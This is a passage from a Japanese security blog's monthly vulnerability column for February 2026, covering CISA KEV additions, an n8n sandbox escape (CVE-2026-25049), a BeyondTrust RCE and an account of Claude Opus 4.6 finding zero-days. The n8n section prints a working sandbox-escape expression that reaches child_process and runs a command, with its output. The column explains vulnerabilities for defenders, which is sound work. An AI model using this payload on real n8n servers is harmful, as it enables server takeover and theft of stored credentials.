1. HOME
  2. ブログ
  3. 編集部
  4. 2026年2月版 最速!危険度の高い脆弱性をいち早く解説「脆弱性研究所」第43回

2026年2月版 最速!危険度の高い脆弱性をいち早く解説「脆弱性研究所」第43回

2月に公開された重大な脆弱性(CISA KEV参照)

2月に新たに公開された脆弱性は5,245件となります。この中で特に重大な脆弱性をいくつかピックアップして説明したいと思います。

第3回で説明したCISAによる「実際に悪用されている脆弱性(Known Exploited Vulnerabilities Catalog)」のデータベース情報もあわせて載せています。

2月にCISAのKEVに登録された脆弱性はトータル28件で、内訳は
● Microsoft 8件
● Cisco SD-WAN 2件
● FreePBX 2件
● GitLab 2件
● RoundCube 2件
● SolarWinds 2件
● Apple 1件
● BeyondTrust 1件
● Dell RP4VM 1件
● Google Chromium 1件
● Notpad++ 1件
● React 1件
● SmarterMail 1件
● Soliton FileZen 1件
● ThreatSonar 1件
● Zimbra 1件
になっています。

参考情報

  1. CISA「Known Exploited Vulnerabilities Catalog」

1. n8nのSandbox Escape脆弱性(CVE-2026-25049)

2026年2月3日にOSSの自動化ワークフローソフトである「n8n」のSandbox脱出の脆弱性(CVE-2026-25049)が公開されました。

以下ではこの脆弱性について簡単にまとめています。

一次情報源

  1. n8n Sandbox Escape: Critical Vulnerabilities in n8n Exposes Hundreds of Thousands of Enterprise AI Systems to Complete Takeover

CVE情報

公開されたCVEは以下になります。

  • CVE-2026-25049
    CVSS
     ■CVSS-B: 9.4 Critical
     ■Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
    バージョン1.123.17および2.5.2より前のバージョンでは、ワークフローの作成または変更権限を持つ認証済みユーザーが、ワークフローのパラメータ内の式を悪用することで、n8nを実行しているホスト上で意図しないコマンドの実行を引き起こす可能性があります。
    ●認証済みのユーザーがサーバーを完全に制御できるようになるため、インスタンスに保存されているすべての認証情報、APIキー、シークレットを盗み出すことが可能になります。

n8nとは

n8nは先月も脆弱性(Ni8mare: CVE-2026-21858 )が出ており、その際に説明をしたためn8nの解説はスキップします。先月も説明しましたが、n8nはAIと密接しており、非常に使いやすい点から、世界中で広く利用されています。

CVE-2026-25049の技術的詳細

技術的詳細についても、一次情報源にわかりやすく記載されていますので、下記ではその概略を説明します。

1.   n8n式とサンドボックス

N8n expression (n8n式)は、ワークフロー内でユーザーがデータを動的に参照・変換できるようにするものです。式の中でJavaScriptを使用できます。JavaScriptを使用するには、スクリプトを

{{}}

を使って、下記のように囲みます。

  • ={{ $json.email.toLowerCase() }} —> メールを小文字に変換する
  • ={{ $now.format(‘yyyy-MM-dd’) }} —> 現在の日付を取得する
  • ={{ $input.first().json.orderId }} —> 前のノードの出力からフィールドを取得する

この式はサーバー上で実行されるため、サーバーではSandboxが実装されており、例えば/etc/passwdにアクセスしたりするといったことなどができなくなっています。

n8n式のサンドボックスは、すべての式を複数のセキュリティレイヤでブロックすることで実現されています。例えば危険なグローバル変数をブロックしたり、コードをAST解析したりしています。

このセキュリティですが、下記のオブジェクトがあったとして

const unsafeObjectProperties = new Set([
    '__proto__',
    'prototype',
    'constructor',
    'getPrototypeOf',
    'prepareStackTrace',  
    // ...
]);

このオブジェクトの要素(prepareStackTraceなど)にアクセスしようとしたらブロックされるようになっています。

1.   三つの欠陥による脆弱性

今回の脆弱性は、3つの欠陥が連鎖した結果になります。

1.    JavaScriptでオブジェクトのプロパティにアクセスする際のサニタイズミス

例えば、以下のような単純なオブジェクトがあったとします。

const user = { name: "Alice", role: "admin" };

この場合、JavaScriptでnameプロパティを読む時には、下記のように複数の方法があります。

user.name          // dot notation
user['name']       // bracket with string
user[`name`]       // bracket with template literal
user[variable]     // bracket with variable

ここでバッククオート(`)の場合に、サニタイズにミスがあり、うまく働かずに、先述のブラックリストのunsafeObjectPropertiesでブロックされた’prepareStackTrace’にアクセスすることができました。

// ブロック成功:
Error['prepareStackTrace']

// ブロックすり抜け:
Error[`prepareStackTrace`]

2.    prepareStackTrace

ここでprepareStackTraceですが、これはエラー時のスタックトレースを変更できるV8フックです。

通常、new Error().stackを実行すると文字列が返されます。しかし、Error.prepareStackTraceを定義すると、V8は代わりに関数を呼び出し、生のスタックフレームオブジェクトを渡していました。このスタックフレームオブジェクトにはgetThis()というメソッドがあり、これを辿っていくと最上位フレームのgetThis()は、最終的にサンドボックスの外にあるグローバルオブジェクトを返します。これでサンドボックスの外に抜け出るための穴ができた感じです。

3.    arrow関数(=>)

サンドボックスは、この種の内部関数を無効化して、グローバルスコープへのアクセスを防止しますが、これは従来の関数式のみに適用されていました。そしてarrow関数(=>)はこのサニタイズから漏れていたため、チェックがされませんでした。

// サニタイズ成功
(function() { return this.process })()

// arrow関数はサニタイズの適用範囲外だったため、サニタイズされない
(() => { return this.process })()

3.   これらの脆弱性の結果

これらの脆弱性の結果、下記のようなスクリプトでSandboxを超えてidコマンドを実行し、結果を出力することができました。

={{(() => {
  Error[`prepareStackTrace`] = (e, stack) => {
    const g = stack[0].getThis();
    const p = g.global.process;
    const cp = p[`getBuiltinModule`](`child_process`);
    return cp.execSync(`id`).toString();
  };
  return new Error().stack;
})()}}

実行結果:uid=1000(node) gid=1000(node) groups=1000(node)

これを応用して、Sandboxを抜け出して、資格情報などが保存されているすべての認証情報、APIキー、シークレットを盗み出すことが可能になります。

PoC

PoCは上述の解説のほかに、CVE-2026-25049 Expression Escape Vulnerability Leading to RCE in n8nなどでも見ることができます。

修正方法

n8nユーザーは、プラットフォームを最新バージョン(現在は1.123.17および2.5.2)にアップデートする必要があります。またPillar Securityでは、「N8N_ENCRYPTION_KEY」とサーバーに保存されているすべての認証情報をローテーションし、ワークフローに疑わしい表現がないか確認することを推奨しています。

参考情報

  1. n8n Sandbox Escape: Critical Vulnerabilities in n8n Exposes Hundreds of Thousands of Enterprise AI Systems to Complete Takeover
  2. CVE-2026-25049 Expression Escape Vulnerability Leading to RCE in n8n

2. BeyondTrustの脆弱性(Critical: CVE-2026-1731)

BeyondTrustに緊急の脆弱性(CVE-2026-1731)が出ました。こちらは2月13日にPoCも公開されており、悪用も観測されています。以下では、この脆弱性について簡単にまとめています。

一次情報源

  1. Advisory ID: BT26-02

CVE情報

公開されたCVEは以下になります。

  • CVE-2026-20045
    CVSS
     ■BT: 9.9 Critical
     ■CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:H/SA:L
    ●BeyondTrust Remote Support (RS) / Privileged Remote Access (PRA)において、リモートコード実行の脆弱性が見つかりました。細工されたリクエストを送信することで、認証されていないリモート攻撃者がサイトユーザーの権限でOSのコマンドを実行できる可能性があります。

修正方法

Advisory ID: BT26-02に情報が載っていますので確認してください。

PoC

Rapid7 AttackerKBに、この脆弱性のパッチを抽出し、Geminiを用いてコマンドインジェクションの箇所を突き止めています。同時に、この脆弱性のPoCも公開しています。このPoCの記事にも書いてありますが(以下、原文を翻訳しています)、興味深いことにセキュリティ企業のwatchTowrが2026年1月30日に公開した、Ivanti EPMMのCVE-2026-1281、最近の分析でも算術評価による同様の根本原因が示されています。CVE-2026-1731の最初の発見者であるHacktronは、脆弱性発見に「AIを活用したバリアント分析」を用いており、この分野における最近の研究が彼らの発見に役立った可能性があります。Hacktronは、発見日としてwatchTowrによるCVE-2026-1281の分析の翌日である2026年1月31日を挙げています。このように脆弱性発見に関しても、PoCに関しても、近年はAIを活用した研究が進んでいるということがわかった事例です。

悪用に関する情報

セキュリティ企業watchTowrの脅威インテリジェンス責任者Dewhurst氏のツイートによると、PoCが公開されてから24時間内で、彼らが設置した世界中のセンサーにおいてBeyondTrust の脆弱性を悪用した攻撃が確認された模様です。攻撃者は、WebSocket チャネルを確立する前に get_portal_info を悪用し、x-ns-company の値を抽出しています。CVE-2026-1731 パッチが適用されていない場合、侵害が発生していると想定されます。

また、これを受けてCISAが本脆弱性をCISA KEVに追加しています

参考情報

  1. Advisory ID: BT26-02
  2. Rapid7 AttackerKB
  3. Dewhurst氏のツイート
  4. CISA Adds One Known Exploited Vulnerability to Catalog

3. Claude Opus 4.6による500以上のゼロデイ脆弱性発見

最後は直接「脆弱性」ではありませんが、AI(Claude Opus 4.6)で500件以上のゼロデイ脆弱性を発見したという話です。面白いお話だったので、こちらで紹介させていただきます。

一次情報源

  1. Evaluating and mitigating the growing risk of LLM-discovered 0-days

技術情報

Claude Opus 4.6は、以前のモデルに比べて重大度の高い脆弱性の検出が著しく向上しており、特別なプロンプトなしで脆弱性を発見できたとのことです。

anthropicは現在、Claude を活用してOSSの脆弱性を発見し、修正を支援しているそうです。これまでに500件を超える重大度の高い脆弱性を発見したとのこと。もちろんOSSコミュニティに迷惑をかけないように、つまりClaudeが存在しない脆弱性を指摘して混乱させることを警戒して、バグを報告する前にすべてのバグを徹底的に検証したそうです。

この発見の方法が少し面白いので、(具体的な話は一次情報源をぜひ確認して欲しいですが)いくつか抜粋します。

検証環境

検証環境ではClaudeをVM内に組み込み、オープンソースプロジェクトの最新バージョンにアクセスできるようにしました。標準ユーティリティ(coreutilsやPython)と脆弱性分析ツール(DebuggerやFuzzingツール)は提供しましたが、これらのツールの使い方に関する指示や、脆弱性をより効果的に発見するための専門知識は提供していません。

1.   GohstScriptの脆弱性

Claudeは当初、脆弱性を探す際に、コードのファジングや手動分析も行き詰まったそうです。その後、Claudeは別のアプローチとして。「Gitのコミット履歴」を読み込みました。そしてセキュリティ関連のコミットを見て。以下のコメントを出しました。

「MM ブレンド値のスタック境界チェック」に関するコミットがあります。これはフォント処理に関連しています。このコミットについて、もう少し詳しく教えていただけますか。

ここから、Claudeはコードを見て何が変更されたのかを理解しました。

このコミットではスタック境界チェックが追加されていることが示されています。これは、このチェックが追加される前に脆弱性があったことを示唆しています。

これを念頭に置いて、クロードはこの関数が呼び出される他の場所を探し、修正されていない可能性のある同様の脆弱性を探し出しました。

2.   OpenSCの脆弱性

Claudeは当初、脆弱性を探す際に。前出のようにコードのファジングや手動分析も行き詰まったそうです。その後、Claudeは別のアプローチとして「リポジトリ内で脆弱性が頻繁に発生する関数呼び出しを検索する」という手法を取りました。

URL が使用されている場所、具体的にはパストラバーサルやバッファオーバーフローが発生する可能性のあるstrrchrおよびstrcat操作を見てみましょう。

Claudeはすぐに、複数のstrcat演算が連続して使用されている箇所を特定しました。これらの関数は、文字列の長さをチェックせずに文字列を連結できるため、C言語では通常安全ではないと見なされます。OpenSCは、そのコードがバッファオーバーフロー脆弱性を持っていることを突き止めました。

ちなみにそのコードが既存のファジングツールによって、どの程度ファジングされたのかを確認すると、そのコードには多くの前提条件が必要となるため、従来のファジングツールではほとんど調査されていないことがわかりました。

3.   CGIFの脆弱性

このケースでは、Claudeが単にコードからバグを見つけただけでなく、バグを検証して、脆弱性を証明するPoCまで作成したそうです。ざっくりと言うと、Claudeはこのライブラリが「圧縮データは常に元のサイズよりも小さくなると仮定していること(通常は安全な仮定)」を発見し、この仮定が悪用される可能性があることを発見しました。

Claudeはこの仮定が当てはまらないものとして

オーバーフローを発生させるには、次のものが必要です。
 ●小さいnumPixel(小さい画像)

ほとんどの LZW コードを生成するパターンは次のようになります。
 ●圧縮は行われません(各ピクセルがコードになります)
 ●リセットは何度も起こる

4 色のパレット (インデックス 0 ~ 3):
 ●初期化辞書長 = 4
 ●MAX_DICT_LEN (4096) エントリを超えると辞書がいっぱいになります
 ●辞書が4096に達するとリセットが行われます

小さな画像でオーバーフローをトリガーするには:
 ●ピクセル数 = N
 ●バッファサイズ = (N + 2) コード
 ●N + 1以上のコードを生成する必要がある

各ピクセルは1つのコード + リセットを生成できます。
しかし、より多くのコードを生成する可能性があるパターンは、長さ1のシーケンスがある場合です。

これに沿った画像を使用すると、出力の「圧縮」サイズが非圧縮サイズを超え、バッファオーバーフローの脆弱性が発生したそうです。

結論

このように、Claude Opus 4.6は単なるコードスキャンからの脆弱性発見ではなく、他の様々な情報から統合的に脆弱性を発見しています。先のBeyondTrustの脆弱性の箇所でも少し触れましたが、今後AIをアシスタントにした脆弱性発見がどんどん進んでくると思われます。

参考情報

  1. Evaluating and mitigating the growing risk of LLM-discovered 0-days

2月のまとめ

今回取り上げた脆弱性を見てもわかる通り、AIに関する脆弱性が増えてきています。またClaudeのように「AIを脆弱性発見のために使用しよう」という動きも出ています。今後はこの「脆弱性発見・脆弱性管理」の分野でも、AIを用いた技術発信や技術革新が進んでくると思いますので、チェックが必要になります。

<著者> 面 和毅
サイオステクノロジー株式会社 上席執行役員
OSS/セキュリティエバンジェリスト

OSSのセキュリティ専門家として20年近くの経験があり、主にOS系のセキュリティに関しての執筆や講演を行う。大手ベンダーや外資系、ユーザー企業などでさまざまな立場を経験。
2015年からサイオステクノロジーのOSS/セキュリティエバンジェリストとして活躍中。また、ヒートウェーブ株式会社でも講師として活動中。
専門分野はSELinuxを含むOSのアクセス制御、AntiVirus、SIEM、脅威インテリジェンス。

最速! 危険度の高い脆弱性をいち早く解説「脆弱性研究所」の過去の記事はこちらから

「脆弱性研究所」の最新話は、メールマガジンにてもご案内致しています。是非JAPANSecuritySummit Updateのメールマガジンにご登録ください。
メールマガジンの登録はこちらからお願いします

関連記事